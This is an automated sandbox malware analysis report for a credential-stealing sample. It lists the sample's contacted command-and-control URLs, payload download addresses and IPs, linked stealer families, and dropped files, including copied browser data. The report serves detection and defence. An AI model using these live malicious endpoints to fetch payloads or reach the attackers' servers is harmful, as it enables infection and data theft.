http://31.41.244.11//Zu7JuNko/index.php	skotes.exe, 00000019.00000002.3313577372.00000000015DA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/c4becf79229cb002.php9	file.exe, 00000000.00000002.2620944238.00000000236C1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://play.google.com/log?format=json&hasfast=true	chromecache_464.4.dr	false		high
https://bzib.nelreports.net/api/report?cat=bingbusiness	Reporting and NEL.9.dr	false		high
http://31.41.244.11/215.113.43/Zu7JuNko/index.php	skotes.exe, 00000019.00000002.3313577372.00000000015DA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/chrome	content_new.js.8.dr, content.js.8.dr	false		high
https://www.tiktok.com/	aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpB	file.exe, 00000000.00000002.2620944238.00000000236C1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.msn.com/web-notification-icon-light.png	2cc80dabc69f58b6_1.8.dr	false		high
http://31.41.244.11/files/random.exe3b31	skotes.exe, 00000019.00000002.3313577372.00000000015F6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	IDHIEBAAKJDHIECAAFHCAECAFC.0.dr	false		high
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	file.exe, 00000000.00000002.2620944238.00000000236C1000.00000004.00000020.00020000.00000000.sdmp, AFHJJEHIEBKKFIDHDGHJ.0.dr	false		high
https://chromewebstore.google.com/	manifest.json.8.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpJ	file.exe, 00000000.00000002.2620944238.00000000236CE000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/random.exephp	skotes.exe, 00000019.00000002.3313577372.00000000015F6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive-preprod.corp.google.com/	manifest.json0.8.dr	false		high
https://srtb.msn.cn/	2cc80dabc69f58b6_1.8.dr	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	file.exe, 00000000.00000002.2620944238.00000000236C1000.00000004.00000020.00020000.00000000.sdmp, AFHJJEHIEBKKFIDHDGHJ.0.dr	false		high
https://msn.comXIDv10	Cookies.9.dr	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2	aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	false		high
http://31.41.244.11/files/random.exe	skotes.exe, 00000019.00000002.3313577372.000000000159B000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000002.3313577372.00000000015F6000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000002.3313577372.00000000015DA000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000002.3313577372.00000000015DE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1	aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	false		high
https://chrome.google.com/webstore/	manifest.json.8.dr	false		high
https://y.music.163.com/m/	aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	false		high
https://unitedstates2.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.8.dr	false		high
https://bard.google.com/	aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	false		high
https://assets.msn.cn/resolver/	2cc80dabc69f58b6_1.8.dr	false		high
http://185.215.113.16/mine/random.exe/=	file.exe, 00000000.00000002.2593928893.0000000001027000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://browser.events.data.msn.com/	2cc80dabc69f58b6_1.8.dr	false		high
https://web.whatsapp.com	aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	false		high
https://m.kugou.com/	aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpd	file.exe, 00000000.00000002.2593928893.0000000001027000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/random.exe50623oded	skotes.exe, 00000019.00000002.3313577372.00000000015F6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.office.com	aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpa	file.exe, 00000000.00000002.2620944238.00000000236C1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://outlook.live.com/mail/0/	aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	AFHJJEHIEBKKFIDHDGHJ.0.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
23.44.133.41	unknown	United States	20940	AKAMAI-ASN1EU	false
13.107.246.63	s-part-0035.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.107.246.40	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
4.152.199.46	unknown	United States	3356	LEVEL3US	false
23.200.88.38	unknown	United States	16625	AKAMAI-ASUS	false
172.217.19.225	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
18.238.49.74	unknown	United States	16509	AMAZON-02US	false
162.159.61.3	unknown	United States	13335	CLOUDFLARENETUS	false
23.44.203.82	unknown	United States	20940	AKAMAI-ASN1EU	false
23.44.203.80	unknown	United States	20940	AKAMAI-ASN1EU	false
142.250.181.68	www.google.com	United States	15169	GOOGLEUS	false
20.110.205.119	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.64.41.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
13.107.21.237	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
23.44.203.90	unknown	United States	20940	AKAMAI-ASN1EU	false
104.117.182.59	unknown	United States	20940	AKAMAI-ASN1EU	false
20.96.153.111	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
13.89.179.8	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false

Private

IP
192.168.2.5
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1562586
Start date and time:	2024-11-25 18:27:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	26
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@72/300@20/27
EGA Information:	Successful, ratio: 40%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 216.58.208.227, 172.217.19.238, 64.233.165.84, 34.104.35.123, 172.217.21.35, 199.232.210.172, 172.217.19.10, 172.217.19.234, 142.250.181.74, 172.217.17.74, 172.217.19.170, 172.217.19.202, 172.217.17.42, 172.217.21.42, 142.250.181.10, 142.250.181.106, 142.250.181.138, 192.229.221.95, 13.107.42.16, 204.79.197.203, 13.107.6.158, 204.79.197.239, 13.107.21.239, 172.217.17.46, 172.165.69.228, 2.16.158.81, 2.16.158.49, 2.16.158.80, 2.16.158.72, 2.16.158.58, 2.16.158.75, 2.16.158.82, 2.16.158.48, 2.16.158.59, 193.108.153.24, 193.108.153.10, 2.19.198.80, 23.32.238.26, 2.16.158.40, 2.16.158.34, 2.16.158.43, 2.16.158.33, 95.101.143.153, 95.101.143.163, 95.101.143.155, 95.101.143.138, 95.101.143.136, 95.101.143.128, 95.101.143.146, 95.101.143.170, 95.101.143.129, 2.20.68.201, 2.16.158.88, 2.16.158.74, 2.16.158.90, 2.16.158.91, 142.250.176.195, 142.250.80.67, 142.251.40.163
Excluded domains from analysis (whitelisted): nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, data-edge.smartscreen.microsoft.com, img-s-msn-com.akamaized.net, clientservices.googleapis.com, edgeassetservice.afd.azureedge.net, prod-agic-us-2.uksouth.cloudapp.azure.com, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, login.live.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, edgedl.me.gvt1.com, edgeassetservice.azureedge.net, clients.l.google.com, config.edge.skype.com.trafficmanager.net, www.bing.com.edgekey.net, th.bing.com, msedge.b.tlu.dl.delivery.mp.microsoft.com, config.edge.skype.com, optimizationguide-pa.googleapis.com, edg
Execution Graph export aborted for target DocumentsDBGIJEHIID.exe, PID 8620 because it is empty
Execution Graph export aborted for target skotes.exe, PID 3808 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 9084 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
12:28:33	API Interceptor	172x Sleep call for process: file.exe modified
12:30:01	API Interceptor	59x Sleep call for process: skotes.exe modified
18:28:56	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
23.44.133.41	http://elizgallery.com/js.php	Get hash	malicious	Unknown	Browse
	https://1965-100872.square.site	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Win32.TrojanX-gen.27824.18326.exe	Get hash	malicious	Amadey, RisePro Stealer	Browse
	GHQ076500kh.exe	Get hash	malicious	Remcos	Browse
	lmiXXjKzpz.exe	Get hash	malicious	Amadey, RisePro Stealer	Browse
13.107.246.63	file.exe	Get hash	malicious	LummaC Stealer	Browse
	https://procurementmcfs.powerappsportals.com/en-US/Register?returnUrl=%2fen-US%2f	Get hash	malicious	Unknown	Browse
	http://www.urbanerecycling.com	Get hash	malicious	HTMLPhisher, TechSupportScam	Browse
	Annual_Q4_Benefits_&_Bonus_for_Ed.riley#IyNURVhUTlVNUkFORE9NNDUjIw==.docx	Get hash	malicious	HTMLPhisher	Browse
	https://vectaire.doclawfederal.com/uDLtT/	Get hash	malicious	HTMLPhisher	Browse
	PVJ6cLZQ0T.xls	Get hash	malicious	Unknown	Browse
	3e5cb809-f546-fb3c-b0e3-5de228b453ab.eml	Get hash	malicious	HTMLPhisher	Browse
	3e5cb809-f546-fb3c-b0e3-5de228b453ab.eml	Get hash	malicious	HTMLPhisher	Browse
	0Xp3q1l7De.exe	Get hash	malicious	Remcos	Browse
	Vendor Agreement Ready for Your Signature November 22 2024 at 084923 PM.msg	Get hash	malicious	HTMLPhisher	Browse
13.107.246.40	Payment Transfer Receipt.shtml	Get hash	malicious	HTMLPhisher	Browse	www.aib.gov.uk/
	NEW ORDER.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zs
	PO_OCF 408.xls	Get hash	malicious	Unknown	Browse	2s.gg/42Q
	06836722_218 Aluplast.docx.doc	Get hash	malicious	Unknown	Browse	2s.gg/3zk
	Quotation.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zM

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
plus.l.google.com	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.217.17.78
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	142.250.181.110
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	142.250.181.110
	http://google.com	Get hash	malicious	Unknown	Browse	172.217.17.46
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.217.17.46
	https://sites.google.com/mdisrupt.com/rfp/home	Get hash	malicious	HTMLPhisher	Browse	172.217.17.78
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.217.17.78
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.217.17.78
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	142.250.181.110
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.217.17.78
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	0Xp3q1l7De.exe	Get hash	malicious	Remcos	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	https://procurementmcfs.powerappsportals.com/en-US/Register?returnUrl=%2fen-US%2f	Get hash	malicious	Unknown	Browse	20.99.190.19
	https://procurementmcfs.powerappsportals.com/en-US/Register?returnUrl=%2fen-US%2f	Get hash	malicious	Unknown	Browse	20.99.190.19
	xeno.bat	Get hash	malicious	Unknown	Browse	20.233.83.145
	http://www.urbanerecycling.com	Get hash	malicious	HTMLPhisher, TechSupportScam	Browse	13.107.246.63
	Encrypt DOC2024.11.19.1983928 shared with you! (203 KB).msg	Get hash	malicious	Unknown	Browse	52.109.76.243
	AccountDocuments - christinal.docx	Get hash	malicious	Unknown	Browse	52.109.76.240
	https://ymcajeffco-my.sharepoint.com/:u:/g/personal/rcampbell_mtvernonymca_org/Eb_PxgSrk7VCrlppYfmkXowB9vCdCR2cgdVG8AQkH7BcbQ?e=b9efJ2	Get hash	malicious	HTMLPhisher	Browse	20.50.80.214
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	51.116.253.170
	Annual_Q4_Benefits_&_Bonus_for_Ed.riley#IyNURVhUTlVNUkFORE9NNDUjIw==.docx	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
AKAMAI-ASN1EU	https://ymcajeffco-my.sharepoint.com/:u:/g/personal/rcampbell_mtvernonymca_org/Eb_PxgSrk7VCrlppYfmkXowB9vCdCR2cgdVG8AQkH7BcbQ?e=b9efJ2	Get hash	malicious	HTMLPhisher	Browse	23.212.254.27
	https://protection.cloze.email/r/EKJc7NAc1aGPd0140vt6MnJzYkpI4pQCyldpUEBtdFT8T8dhNmmHodcXxvKddJW4AhfqaDIQj32BX0HxSGbmPeDqDQs/n/SlBNQ05FV1NMRVRURVI/y52l9ppb.r.ap-northeast-1.awstrack.me/L0/https:%2F%2Fcloudprotectionc5f91e84a2b3d9e748f2a1d9b7e5f0c4a2b3d9e7a5pages.dynamixs.workers.dev%2F/1/010601933048cf65-492c630f-d6b3-471e-a31f-bf186231f1e8-000000/SL9CcqykWh2mQIC7eGiOMwzMSpk=185	Get hash	malicious	Unknown	Browse	2.16.158.51
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.44.203.14
	3e5cb809-f546-fb3c-b0e3-5de228b453ab.eml	Get hash	malicious	HTMLPhisher	Browse	2.22.245.200
	AnuhIsNqBl.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	AnuhIsNqBl.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	104.127.80.17
	sjth8TLl4P.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	loligang.arm7.elf	Get hash	malicious	Mirai	Browse	172.232.16.208
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	104.117.182.27
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	https://procurementmcfs.powerappsportals.com/en-US/Register?returnUrl=%2fen-US%2f	Get hash	malicious	Unknown	Browse	20.99.190.19
	https://procurementmcfs.powerappsportals.com/en-US/Register?returnUrl=%2fen-US%2f	Get hash	malicious	Unknown	Browse	20.99.190.19
	xeno.bat	Get hash	malicious	Unknown	Browse	20.233.83.145
	http://www.urbanerecycling.com	Get hash	malicious	HTMLPhisher, TechSupportScam	Browse	13.107.246.63
	Encrypt DOC2024.11.19.1983928 shared with you! (203 KB).msg	Get hash	malicious	Unknown	Browse	52.109.76.243
	AccountDocuments - christinal.docx	Get hash	malicious	Unknown	Browse	52.109.76.240
	https://ymcajeffco-my.sharepoint.com/:u:/g/personal/rcampbell_mtvernonymca_org/Eb_PxgSrk7VCrlppYfmkXowB9vCdCR2cgdVG8AQkH7BcbQ?e=b9efJ2	Get hash	malicious	HTMLPhisher	Browse	20.50.80.214
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	51.116.253.170
	Annual_Q4_Benefits_&_Bonus_for_Ed.riley#IyNURVhUTlVNUkFORE9NNDUjIw==.docx	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	LummaC Stealer	Browse	20.109.210.53 13.107.246.63 2.18.109.164 20.190.181.4
	https://procurementmcfs.powerappsportals.com/en-US/Register?returnUrl=%2fen-US%2f	Get hash	malicious	Unknown	Browse	20.109.210.53 13.107.246.63 2.18.109.164 20.190.181.4
	https://procurementmcfs.powerappsportals.com/en-US/Register?returnUrl=%2fen-US%2f	Get hash	malicious	Unknown	Browse	20.109.210.53 13.107.246.63 2.18.109.164 20.190.181.4
	http://zoominfohub.com	Get hash	malicious	Unknown	Browse	20.109.210.53 13.107.246.63 2.18.109.164 20.190.181.4
	http://www.urbanerecycling.com	Get hash	malicious	HTMLPhisher, TechSupportScam	Browse	20.109.210.53 13.107.246.63 2.18.109.164 20.190.181.4
	Invoice-99007553423-protected.pdf	Get hash	malicious	Unknown	Browse	20.109.210.53 13.107.246.63 2.18.109.164 20.190.181.4
	https://clickme.thryv.com/ls/click?upn=u001.dxrPihnXBHUGsddmpkmwUOT9H2uuoftUJgS1ImyDp5PjZ7uor3Bx5LY8846lufrxOd-2B-2FCl5NSKC1v9uXskdIrA-3D-3DPV4X_Uxfyb-2FV90WCSGuHCd77YDe2QH-2FfxD2e5Op8ULStuWwSYUM08QLuqWk0rbdQO8p2GP5XR1Nwn9dFZi5DaOMyz92mdTvaHywQzrJIxcHTOEjrrUNll1a6cdLHKylkZo7LdScnRC-2F7iC6hnMEdduqsWXASxbd-2BZeaoWZvCDaIudlukgt9S3uZsKQeBP86XSjGCyt8CMjRvxL6j1Dyr0eym46qao7knFO6iIo9LZAeoxbyu5E6pzhyc9-2F2VP-2BlZM3Ea-2B-2FiBNpyPNxcoMEQ2om5Ig-2F7RZ8WTAt-2F5MxtsslPlJve5tzpsISP74pi-2B8USUpl-2BAaEmzHGUoeKWRMyxJH35FiSw-3D-3D	Get hash	malicious	Unknown	Browse	20.109.210.53 13.107.246.63 2.18.109.164 20.190.181.4
	https://app.smartsheet.com/b/form/40653cfc74264be5801922c41bc80ae9	Get hash	malicious	Unknown	Browse	20.109.210.53 13.107.246.63 2.18.109.164 20.190.181.4
	https://eastmancuts.jimdosite.com/	Get hash	malicious	Unknown	Browse	20.109.210.53 13.107.246.63 2.18.109.164 20.190.181.4
	https://www.google.com/url?q=https://clickme.thryv.com/ls/click?upn%3Du001.3HlspJ5fg-2BP4CQkV7GSVhvWTpgC6w0k7sA8b2Z9JBYU9BEMXtqHWLHW9PPcpforJszQ3_jzclrAiO28PBUU1ZLf2yC1YJEF5Rt8zDnz4yKbEuFqXf3c0fVOhzL2fXxOYix3CjCrzlLwoIPSXb9PavK50mtpdK-2FWF7thydb3q6E5ptEQiOVUz527Ewi1t813S-2FHejAJLe09fD2VqgM8mtwuQZA9i83VLkCPF4iItCSPXKUpNgWQKWxjEO6jlBp5GYVLghrpKcDuea5GONmLMVlbh4fQe7dtjhTFxxxExxfN1kv5tnx1PPl9DjYIyE468wz1qa1Z-2FWJgZrJbIFEpqhd4o5tGGyUoiPcIot5l2j9dpjy7QKj99ZiCz-2BBLi5dHUIl8gC4RxZBl-2FMaH4IZlQyWpqM-2BtZ9uE3ezFUl2fORMwAp4lQk-3D%23Cjanetrosenbach@imageindustries.com&source=gmail-imap&ust=1733149343000000&usg=AOvVaw1uIAp-JnZbTlkY9Td9ZLJj	Get hash	malicious	HTMLPhisher	Browse	20.109.210.53 13.107.246.63 2.18.109.164 20.190.181.4

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AFHJJEHIEBKKFIDHDGHJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9504
Entropy (8bit):	5.512408163813622
Encrypted:	false
SSDEEP:	192:nnPOeRnWYbBp6RJ0aX+H6SEXKxkHWNBw8D4Sl:PeegJUaJHEw90
MD5:	1191AEB8EAFD5B2D5C29DF9B62C45278
SHA1:	584A8B78810AEE6008839EF3F1AC21FD5435B990
SHA-256:	0BF10710C381F5FCF42F9006D252E6CAFD2F18840865804EA93DAA06658F409A
SHA-512:	86FF4292BF8B6433703E4E650B6A4BF12BC203EF4BBBB2BC0EEEA8A3E6CC1967ABF486EEDCE80704D1023C15487CC34B6B319421D73E033D950DBB1724ABADD5
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\BKFIJJEG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2650189170515314
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkM3SAELyKOMq+8yC8F/YfU5m+OlTLVumi:Bq+n0J39ELyKOMq+8y9/Owl
MD5:	6D6077BB255D0D734A7A842BB93AC773
